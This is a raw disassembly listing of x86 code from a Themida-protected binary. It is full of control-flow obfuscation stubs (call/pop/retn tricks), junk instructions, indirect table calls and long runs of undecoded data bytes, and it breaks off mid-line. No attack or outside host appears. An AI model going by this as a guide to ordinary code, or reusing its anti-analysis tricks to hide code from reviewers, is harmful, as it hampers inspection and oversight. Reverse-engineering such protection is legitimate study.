======================================= sub_54B868 proc near ; CODE XREF: Themida_:0054B860p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_54B868 endp ; --------------------------------------------------------------------------- jmp dword ptr ds:3C9573F5h ; --------------------------------------------------------------------------- setalc cld mov ebx, [ebp+61217CDh] mov eax, [ebp+6122A7Dh] push 0 push ecx call sub_54B897 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54B897 proc near ; CODE XREF: Themida_:0054B88Fp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_54B897 endp ; --------------------------------------------------------------------------- db 96h dd 0B5092AA2h, 6122675h, 0E805D58Ah, 9000003h, 12351D85h dd 0F18A5006h, 60240489h, 0B589D78Bh, 61203A1h, 75858D61h dd 8006124Dh, 8B5021E6h, 240489D9h, 4D53858Dh, 95890612h dd 6121525h, 5071B390h, 0BFB25250h, 0D58A310Fh, 0FF90585Ah dd 12237195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 0D38151C5h, 66C15FF1h, 0DA8B665Ah dd 6A0CC483h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 0D8A5C356h, 0BBDECA02h, 12B3F41Ch dd 7E9h, 7ACA0600h, 0CF4EBD95h, 4D53858Dh, 6A0612h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 0F433CDC3h, 0ABA2F1ADh, 0AE44BA66h, 89AEB250h, 0B5892404h dd 612261Dh, 5D9E54BBh, 0FF026A13h, 6AED1495h, 0EE900h dd 0A6EC0000h, 0DB6A3ADEh, 64323F68h, 3D55524Ah, 0D2B70F61h dd 0B81BD381h ; --------------------------------------------------------------------------- mov al, 4Ch loc_54B9BA: ; CODE XREF: Themida_:0054B83Ej ; Themida_:0054B851j mov dword ptr [ebp+6124D86h], 1 clc push eax jmp loc_54B9DF ; --------------------------------------------------------------------------- db 3Eh dd 24B89327h, 8A1F0C0h, 0E87602Eh, 747CBA3Ah db 35h, 72h, 79h ; --------------------------------------------------------------------------- loc_54B9DF: ; CODE XREF: Themida_:0054B9C6j mov [esp], esi add [ebp+61201C9h], edx mov [ebp+6124D37h], esi push 0 push ebp call sub_54B9F9 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54B9F9 proc near ; CODE XREF: Themida_:0054B9F1p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_54B9F9 endp ; --------------------------------------------------------------------------- mov byte ptr [ecx-32FF0E25h], 0D1h mov ss, dx fisttp word ptr [ebx+12093D95h] push es push edx cmc pop ebx cmp dword ptr [ebp+61207ADh], 1 jnz loc_54BA95 push 0 push ebx call sub_54BA34 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54BA34 proc near ; CODE XREF: Themida_:0054BA2Cp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_54BA34 endp ; --------------------------------------------------------------------------- mov ch, 0B4h movsb mov edi, 0F92375ACh and ebx, [ebp+61206D5h] cmp eax, 5 jnz loc_54BA95 jmp loc_54BA68 ; --------------------------------------------------------------------------- dd 0A700564h, 98DA62FEh ; --------------------------------------------------------------------------- loc_54BA68: ; CODE XREF: Themida_:0054BA5Bj mov eax, 0 push 0 push eax call sub_54BA78 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54BA78 proc near ; CODE XREF: Themida_:0054BA70p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_54BA78 endp ; --------------------------------------------------------------------------- dd 816650EAh, 5A2F97CBh, 5F5274BAh db 5 ; --------------------------------------------------------------------------- loc_54BA95: ; CODE XREF: Themida_:0054BA23j ; Themida_:0054BA55j cmp dword ptr [ebp+6121045h], 0 jz loc_54BABD sub [ebp+6121E21h], ebx pusha sub ebx, 7DE600DBh call dword ptr [ebp+6121045h] stc popa add ebx, 6CD51852h loc_54BABD: ; CODE XREF: Themida_:0054BA9Cj cmp dword ptr [ebp+6120379h], 0 jz loc_54BADA movzx ebx, bx mov eax, 0 mov dl, 79h xor [ebp+6121971h], edx loc_54BADA: ; CODE XREF: Themida_:0054BAC4j pusha push 0 push eax call sub_54BAE6 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54BAE6 proc near ; CODE XREF: Themida_:0054BADEp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_54BAE6 endp ; --------------------------------------------------------------------------- dw 50AAh dd 0E439BC6Dh, 40B92185h, 3A5858Bh, 8EBB0612h, 832E858Ch dd 6A02C0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 7E8BE1C3h, 0F2819523h, 6181F9AEh, 4D2F8589h dd 96B30612h, 0F5FF00C6h, 287185C6h, 0FC530612h, 4E8h dd 0B148D800h, 5072B3FCh, 0E667B5BAh, 24448B1Eh, 8BD18B04h dd 89DFB300h, 60042444h, 310F5250h, 5AF98B66h, 7AB86658h dd 8B5861FBh, 122E1D9Dh, 0E9B5FF06h, 6A061230h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 7DCAC356h, 4EB9F724h, 7F35858Dh, 0D0FF0615h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 8DC35141h, 0CAB3CDFAh dd 85893B65h, 61219CDh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 34C35040h, 1299BD83h, 0F010612h, 0D185h dd 33BB6600h, 6A6143h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 3DDBA5C3h, 0DDAF2CD2h, 7185C61Ch dd 45061228h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 2FC35343h, 0BAF8E855h, 0E5BD3132h, 68061201h, 99C36D63h dd 4820Fh, 0BA660000h, 481B3CDh, 9CCB5F24h, 0D3BF0F40h dd 30E9B5FFh, 95290612h, 6121B75h, 7F35858Dh, 8E90615h dd 8000000h, 0F23D3B50h, 0FFC202A0h, 14E9D0h, 0C6C80000h dd 408E2FBEh, 0CB113DE8h, 879C1B7h, 0CAF4DA16h, 6AD590h dd 0D9816051h, 0CE1435Bh, 0FE9h, 0ED07A300h, 53FDA90Ah dd 8C97D4D1h, 59D75859h, 0D0FF5A61h, 2D759D8Bh, 0BD830612h dd 6122911h, 0DC850F01h, 8B000000h, 1203A585h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0AB2C715h, 9D8B6338h, 612035Dh, 54E9D98Ah, 1000000h dd 121245B5h, 0BE906h, 2B360000h, 599BA930h, 46C3DF4Dh dd 52509080h, 310FF5B3h, 0D68B6656h, 50585A5Ah, 0CE890h dd 93000000h, 81F4E7E3h, 4FDCB670h, 958BA1E0h, 61221BDh dd 0F9146A5Bh, 19CD95FFh, 85290612h, 6122F21h, 659D8B58h dd 80061229h, 850F0038h, 0FFFFFFB9h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 0C6C35040h, 0BBBE3ACAh, 0C6D7B70Fh dd 6A0100h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 745EF6C3h, 9185891Fh, 6106121Ch, 1151B529h dd 0BD830612h, 6122F3Dh, 55840F00h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 97B6C350h, 89F0F88Eh, 0C381EB97h, 52888B50h, 0BD29FF6Ah dd 61234DDh, 19CD95FFh, 0EE90612h, 8000000h, 0CE06FEC6h dd 0D07C3611h, 5003F71Eh, 0FFDAE92Ch, 9589FFFFh, 6122CB1h dd 2F3D85C7h, 10612h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 75F652C3h, 3B8589B5h dd 6A06124Dh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 4036C356h, 0D8494200h, 0DF27AA16h dd 7E952h, 0D4CF0000h, 31936EA5h, 8B505B96h, 240489D8h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 41C35646h dd 0B1958B54h, 6006120Dh, 7E951h, 0A3AF0000h, 0AC205E8Ah dd 0B70F5AE4h, 9056ADBh, 12004D9Dh, 859D8906h, 8D06121Fh dd 124D5385h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 0DF3F6BDCh, 31CED3C5h, 1212BDBDh dd 58D0906h, 50061211h, 4899EB3h, 53006A24h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0CA5BFB00h dd 0CD2DDBDh, 0D98B4EF8h, 4D43858Dh, 85310612h, 6121961h dd 10E890h, 84280000h, 7F99A25Fh, 0B5B3E6D2h, 0D2DF96A9h dd 24B65886h, 5253505Bh, 0EE9h, 36FD0A00h, 0C9535570h dd 7893E758h, 5BEA084Dh, 6A905Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 8166B2C3h, 8B0DC5D3h dd 12173D9Dh, 5995FF06h, 8D061210h, 127B0F8Dh, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 9D57DA0Bh, 0ABBB66DBh, 74C00B55h, 53858D11h, 5006124Dh dd 8589D1FFh, 6124D71h, 85C70AEBh, 6124D71h, 0FFFFFFFFh dd 0AAC38166h, 3840FD0h, 0F000000h, 6AD0BFh, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 7387CBC3h dd 60582D2Fh, 18800Fh, 13E90000h, 7000000h, 0F62BFC1Eh dd 0DE798FDCh, 89A5C16Bh, 0E2585E32h, 0B5896EF3h, 612036Dh dd 6A6161h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 90887AC3h, 750EA883h, 0C61B6EBDh, 12287185h dd 0B5894D06h, 61226CDh, 4CE60F68h, 0FDBA66A4h, 24348143h dd 7990A7h, 0C5B5FFF8h, 6A06120Ch, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 74F3C351h dd 958B57D2h, 612129Dh, 0B1958B5Bh, 8D06122Ch, 157F3585h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 0B68672Eh, 0F6AA4FC6h, 20FD9D8Bh, 0D0FF0612h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0CEC35545h dd 8B659A4Eh, 0F1958BD2h, 8906122Fh, 12234185h, 0CE906h dd 170B0000h, 9493237Ch, 0B3280026h, 85C699B7h, 6122871h dd 56006A45h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 863CE51Ah, 5E860h, 11C80000h, 568A2A28h dd 0D0815F5Ah, 1EDCC855h, 4E861h, 69690000h, 8B608E72h dd 535061F9h, 11E9h, 857E1500h, 3AA6A23h, 275EFB15h, 2D1F9DF3h dd 8B5B34C8h, 0BA042444h, 8FB421Eh, 4489008Bh, 9E90424h dd 0DC000000h, 0E3D96755h, 0F59743A5h, 55006A58h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 0DA32CD13h, 7D953348h, 0FF06121Dh, 1230E9B5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 0F7E0D5E4h, 98F7FD25h, 148B0Fh, 0FE90000h, 14000000h dd 619B11ADh, 0E9F40F58h, 15A9D228h, 858DA1D9h, 6157F35h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 72C35343h dd 8BAB889Bh, 11B589D0h, 0FF061218h, 18A0FD0h, 0FC000000h dd 30FD8589h, 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 1248C4C3h, 0D28B9EF3h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 54C35343h, 8BD98C66h dd 1224099Dh, 7E906h, 4A250000h, 0ECC27F09h, 4C1F671h dd 24A840Fh, 0D98B0000h, 15EE9h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0C4B5F43Bh dd 9C1B58Bh, 8E80612h, 61000000h, 0FF883E0h, 66FC8294h dd 382ECB81h, 80C6815Ah, 6A000011h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h dd 0C70CC351h, 94D5E003h, 0BD83D78Bh, 6120099h, 3B850F00h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0D8BFC352h, 667A0B3Ch, 0E242C281h dd 0D1D28166h, 0A4E9ECh, 820F0000h, 6, 6C99589h, 3E830612h dd 8F840F00h, 0E9000000h, 11h, 5493E39Fh, 8F46C84Fh, 8CDC143h dd 11E5416Ah, 0C59D8983h, 60061208h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 69C35242h, 29E95F11h, 121BED8Dh dd 0B1858906h, 6A06120Dh, 8E914h, 65970000h, 0C6439E66h dd 95FF0537h, 61219CDh, 0DEB8166h, 0BD89619Ch, 61212E1h dd 0FFFF89E9h, 158C0FFFh, 57000000h, 0EE9h, 9F86B300h dd 7D95BAADh, 0BD588FD5h, 5A8BA6D3h, 94D9D03h, 6C70612h dd 1, 12E9h, 54D52000h, 41CF2579h, 1207C290h, 75E4E908h dd 8317DA4Bh, 124D3BBDh, 850F0506h, 0D8h, 521BF60h, 0E1812774h dd 7461772Ah, 0FDB58B61h, 8B061230h, 64B9D7h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 0ACFCB9C3h, 8BA34180h, 12099D95h, 0E83E8006h, 44840Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 531F49C3h, 0BBC579BAh, 0EE95B14h, 49000000h dd 1D8EE255h, 5947D07Bh, 0BE5F3051h, 14E986h, 0BA660000h dd 0BA66EEE4h, 7E80256Dh, 840FC205h, 35h, 0E946D38Bh, 12h dd 9E127515h, 1C718157h, 68E6399Eh, 0FE932D80h, 0F498C49h dd 0FFFF8885h, 0EEBB66FFh, 99C680B4h, 13E9h, 0B5895000h dd 6121A49h, 61B5895Ah, 0B306121Ch, 0DAB70F6Ch, 3DBA6658h dd 5BD8323h, 61207h, 13E840Fh, 9D8B0000h, 6121B99h, 0BBD68B60h dd 7076AC3Ch, 287185C6h, 6A540612h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 263BC357h dd 66504F3Dh, 5A0098BAh, 10E9h, 7185A00h, 4D8B8EC8h, 6DD12A89h dd 45480D73h, 0B6456824h, 2BB2863Eh, 0AF240481h, 8B791008h dd 1216499Dh, 0E9B5FF06h, 6A061230h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 69E1C353h dd 0D7BF0FE1h, 7F35858Dh, 810F0615h, 6, 1799B531h, 0D0FF0612h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0FAC35646h dd 5E839E26h, 8E8h, 5DA7B100h, 0C36FDAB3h, 99B529D6h, 5A061204h dd 31099D8Bh, 6AF90612h, 0B59D8B00h, 0E906122Dh, 0Ah, 2A390ADDh dd 63E52BE1h, 0B5FFE823h, 6120705h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 46C35343h, 0CE9h, 33F81700h dd 18E3B631h, 3F9EEA16h, 0BAC381A8h, 0FF336C78h, 68F0FD0h dd 89000000h, 1204818Dh, 958B6106h, 61209BDh, 212185C7h dd 10612h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 821921C3h, 5F741E0Fh, 7D9D8B12h dd 60061207h, 12E9h, 400F6400h, 43EEF723h, 67828196h, 4FEF7F0Ch dd 0E884F0BDh, 4, 80h, 0D38B6650h, 424448Bh, 8BDF8Bh, 4489D88Bh dd 2FB30424h, 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 0E411EC62h, 608091Dh, 0B1B58920h dd 6A061212h, 0D98BF8FFh, 14A595FFh, 8B660612h, 6A61DEh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 8F7030C3h, 8B5676CDh, 122DF59Dh, 60505B06h, 19810Fh dd 13E80000h, 6C000000h, 0E22247D3h, 0D194B4E5h, 2B7EC397h dd 75175A38h, 0F59621Ch, 387h, 0CE8B6600h, 24048961h, 2AEB8166h dd 91858BEAh, 6A061229h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 0FFEAC352h, 66C989CAh dd 1F500C4Ah, 0BDAB70Fh, 3A840FC0h, 0FF000000h, 12206995h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 0B3745243h, 60606043h, 8CB86661h, 0BB6661F1h dd 89617195h, 1201C58Dh, 2585C706h, 106121Dh, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 0E2C0C355h, 0C1196ECBh, 8095B64Bh, 0BD83F1EAh dd 6121325h, 12840F00h, 8B000000h, 121F7D95h, 2595FF06h dd 8B06121Ah, 120EB99Dh, 55BD8306h, 61203h, 4B840Fh, 14E90000h dd 8F000000h, 9C92EAF2h, 0BB337A20h, 0B3FC4627h, 301F4AEBh dd 60D3D4FDh, 11E851h, 0E0580000h, 0F2B5F2D0h, 6B2147A8h dd 0DDB2A0C2h, 5F8173A1h, 0F1B5295Ah, 61061203h, 1C7595FFh dd 8F0F0612h, 2, 8B66FC8Ah, 6DBD83D6h, 6121Fh, 3C840Fh dd 0BD890000h, 6122955h, 905BD83h, 0F000612h, 2985h, 999D0B00h dd 0FF06121Bh, 12151D95h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0BD833C71h dd 6122CD1h, 4D840F00h, 0E9000000h, 7, 0E534415h, 8172FDAEh dd 12008585h, 400306h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 26F33A51h, 22958581h dd 40030612h, 850F0000h, 8, 4D950156h, 5B06122Fh, 6A310Fh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 0C6A38BC3h, 0EF065117h, 8B66D38Bh, 49958BD0h, 8D06121Ah dd 125E958Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 6A018963h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 1459C352h, 90990DAAh dd 0EA81664Ah, 0B589E172h, 6120035h, 11E9C233h, 97000000h dd 8B448DD4h, 51F274D3h, 0F241A19Bh, 740EF95Ch, 81044189h dd 6B57BCBh, 0C1BB665Dh, 6A310F87h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 88EDC351h dd 0BADAB70Fh, 60DC6757h, 5EBE8D8Dh, 0D2810612h, 0DDF922h dd 958B0189h, 6120091h, 5E8C233h, 6F000000h, 3A48DCC9h dd 0CE9h, 2AC54400h, 83750CE5h, 0E19DB5BFh, 0B5295B94h dd 6122C8Dh, 6A044189h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 2BC6C355h, 2629B589h dd 0BD830612h, 61220E5h, 11840F00h, 89000000h, 122C2D8Dh dd 8195FF06h, 0BB061201h, 6101007Eh, 2F2DBD83h, 0F010612h dd 6C85h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 3E9505B3h, 13E92Dh, 5F5B0000h, 0DA4E0E33h dd 8BC547FCh, 582FF72h, 21CED6CEh, 2FE9ACh, 958B0000h dd 61202ADh, 6063B58Bh, 6C70612h, 0 dd 5DBCB58Bh, 6C70612h, 0 dd 0E9F4B3CFh, 9, 0EC4B6757h, 2379AA48h, 25BD833Eh, 6121Dh dd 173840Fh, 0BD890000h, 6120C31h, 21D9BD83h, 0F010612h dd 13285h, 0FBBB6600h, 2F8D8BE9h, 6A06124Dh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 0F656C357h, 0CC5A5751h, 0B7225A35h, 29FDB589h, 1C60612h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 0BB6659E4h, 0F505618h, 683h, 8BF38100h dd 5B32B199h, 51006A60h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 49D20885h, 958950B3h, 6121BC9h, 0EEB16F68h dd 1892BA6Dh, 34813AFAh, 0EEB1EF24h, 0B7FF6A6Dh, 0B589607Dh dd 6120E89h, 5B0CB866h, 0A595FF61h, 6A061214h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 3F8AC352h, 705A73E4h, 0FAEF8009h, 8B61FE8Ah, 121FC59Dh dd 0B195FF06h, 6A061219h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 3D95C352h, 4BB669BCh dd 2F8D8BADh, 0E906124Dh, 0Dh, 0C7421E35h, 0FE49B0A9h dd 0DC50D327h, 0F01FE01h, 682h, 5958B00h, 83061215h, 122C45BDh dd 850F0106h, 21h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 68C35747h, 74BA660Dh, 80C08BB0h, 0BD8397E2h dd 6121B91h, 83097500h, 1217DDBDh, 1A740006h, 0C08B5350h dd 85858Bh, 85890612h, 6120085h, 0AE0F9D8Dh, 0D3FF0614h dd 0BD83585Bh, 61217DDh, 50187400h, 85858B53h, 89061200h dd 12008585h, 0FE9D8D06h, 0FF0614AAh, 6A585BD3h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 6CCBC357h, 89C36CFEh, 12113D95h, 0B99D8B06h, 8B06121Fh dd 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 0B98531EEh, 83061205h, 121D25BDh, 850F0006h dd 39h, 0CF18EB81h, 0E96014C7h, 14h, 10EA88A4h, 3DC087C2h dd 0EDB0CDF9h, 0F96CDCCDh, 5DA817Eh, 18B99D29h, 83610612h dd 1205BDBDh, 840F0006h, 5, 0C350A0BAh, 25BD836Eh, 6121Dh dd 6F840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 56B399C3h, 0B29CE40Ah, 800F7401h dd 20h, 0AE8h, 26D5FA00h, 87F178A7h, 0E9E57209h, 0Bh, 0C9889955h dd 0C23544F7h, 5B600CFAh, 0A397D381h, 0BD831A06h, 61217EDh dd 12840F00h, 0E8000000h, 0Ah, 45A5D573h, 4CC9FFFFh, 0F88ADE00h dd 25BD835Bh, 6121Dh, 19840Fh, 66510000h, 8B5BD08Bh, 1226819Dh dd 0EDBD8306h, 61217h, 1840Fh, 83FC0000h, 121D25BDh, 840F0006h dd 35h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah dd 5AC35040h, 0DC784C01h, 0BD838FA9h, 61229ADh, 6840F00h dd 80000000h, 0D78041F3h, 25BD83E2h, 6121Dh, 40840Fh, 0DE90000h dd 41000000h, 0C8E699DBh, 943FFAA7h, 15FF7B32h, 298EBE60h dd 0BD3115C8h, 6121F01h, 0F5BD8361h, 61201h, 14840Fh, 8D890000h dd 6122DE9h, 6ED95FFh, 5BB60612h, 291958Bh, 0C08B0612h dd 10C19523h, 0BD830612h, 6121B91h, 83097500h, 1217DDBDh dd 1A740006h, 0C08B5350h, 2295858Bh, 85890612h, 6122295h dd 0AE769D8Dh, 0D3FF0614h, 0BD83585Bh, 61217DDh, 50187400h dd 95858B53h, 89061222h, 12229585h, 179D8D06h, 0FF0614ABh dd 6A585BD3h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 0B343C357h, 0DE8B6651h, 66C08B5Bh dd 0B239F381h, 1D25BD83h, 0F000612h, 3A084h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 7E932h, 62070000h, 0B60AB849h, 99BD83B6h, 2061212h dd 19840Fh, 9D230000h, 61229FDh, 2F2DBD83h, 0F010612h dd 685h, 61850900h, 6006121Eh, 13219D89h, 8D8B0612h, 6124D2Fh dd 6A01FEF8h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 4B68C350h, 11E882AFh, 0B0000000h dd 5A5DCC62h, 21991CBAh, 0BD592B05h, 0E8073EAh, 1616060h dd 122861BDh, 0F5B6106h, 1968D1B7h, 601D5D76h, 8E9h, 7DCDF400h dd 677612DDh, 0E9525060h, 8, 0F6CBEA65h, 6F1EF8BCh, 0F08B310Fh dd 8161585Ah, 76992434h, 6AF91D5Dh, 51006AFFh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0BBF5DFAFh dd 3F15BC2Ch, 14A595FFh, 800F0612h, 3, 6198DF80h, 0B5958B52h dd 5B061220h, 212DBD8Dh, 0C6800612h, 1C4F8B8Dh, 8E8016Ah dd 9F000000h, 0A64BD1E0h, 89CE2733h, 1211C1BDh, 81665B06h dd 912890EBh, 0B3EBBB66h, 8A0F50h, 91000000h, 10CD958Bh dd 858D0612h, 6153BF9h, 10E8h, 33957800h, 42A6685Ch, 4D66D2FFh dd 0DC37D7B6h, 0D1BF0F7Eh, 0FFD0B75Ah, 0B5BD89D0h, 8B061234h dd 840F204Fh, 8, 2850Fh, 1DB60000h, 6A036Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 18481AC3h dd 0BCAADD85h, 24B3712Ch, 10D59D89h, 60910612h, 5061C4B5h dd 0DE860h, 35360000h, 79E0778Ch, 2FF7EA19h, 0E96901C1h dd 9, 6C27F118h, 5A33EB9Ah, 91615EB0h, 5850F60h, 0BA000000h dd 324243C7h, 2F398533h, 8D610612h, 153BF985h, 21953106h dd 0FF06122Dh, 0BD8DF9D0h, 612212Dh, 1C4F8BF9h, 1B99958Bh dd 16A0612h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 7EC35242h, 501F0C87h, 3E25B960h, 0D98B5984h, 240C8961h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 5EC35141h dd 0DF125C9Dh, 7AED373Eh, 74E7807Eh, 3BF9858Dh, 870F0615h dd 3, 0FFD9B70Fh, 7D9589D0h, 8B061223h, 1210F995h, 204F8B06h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 9BC35040h dd 0E9E383F9h, 0Dh, 0E40B160Bh, 0C35D777Fh, 303C2F7Ch dd 66036A10h, 0D2F7DA81h, 5FB96050h, 0B94FC7F6h, 622D6089h dd 240C8961h, 0CE9h, 8CA91B00h, 0A15AAA0Bh, 9AA7A8D2h dd 0F9858D14h, 6A06153Bh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 3C5AC357h, 79F50B0Dh dd 10159D29h, 0D0FF0612h, 4DDA8166h, 8BD8B6F0h, 124D2F8Dh dd 7E906h, 0CC2A0000h, 4EABFEE5h, 6601FEADh, 858BDF8Bh dd 6124D2Fh, 5890Fh, 81660000h, 0FEB438D3h, 698D8900h dd 6A061228h, 0E9858901h, 68061214h, 0E18D3263h, 0F88A5250h dd 5250310Fh, 310F5A57h, 310F5250h, 585A585Ah, 3481585Ah dd 72AD9C24h, 0BDBA661Eh, 71BD898Bh, 8D06121Ah, 153C0385h dd 13E806h, 4CDA0000h, 8A9E8F6Bh, 63B256CBh, 1F87D7C6h dd 8FC78857h, 0DE8B66BAh, 81D0FF5Bh, 0E3A3F8EBh, 0BDBD830Fh dd 61205h, 0FE840Fh, 0B5890000h, 6120459h, 7ADBD83h, 0F010612h dd 0EB85h, 3890F00h, 80000000h, 8D8D55F2h dd 6153C0Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 0CFC35747h, 0DDC06716h, 8E8F8F7h, 70000000h, 74930328h dd 891A1B32h, 121241BDh, 36A5B06h, 1495BD89h, 16A0612h dd 2C399D8Bh, 0D1FF0612h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 0FEC35646h, 0FAB463A8h, 16AFCB7h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 4AC35646h, 0BF0F016Ah dd 0DA8B66D1h, 6AD1FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 4EC1D2C3h, 23A7A7EBh, 820FC24Ch dd 5, 2CE713BBh, 15958911h, 0E8061200h, 0FA496D30h, 0BE9h dd 0BE5EE000h, 4AE05277h, 25A57566h, 8B66206Ah, 0EE9D6h dd 7F390000h, 289BD2B2h, 99A25F84h, 0B3E6D27Fh, 0F60FF6Ah dd 689h, 19858900h, 29061221h, 12099585h, 95FF6106h, 61214A5h dd 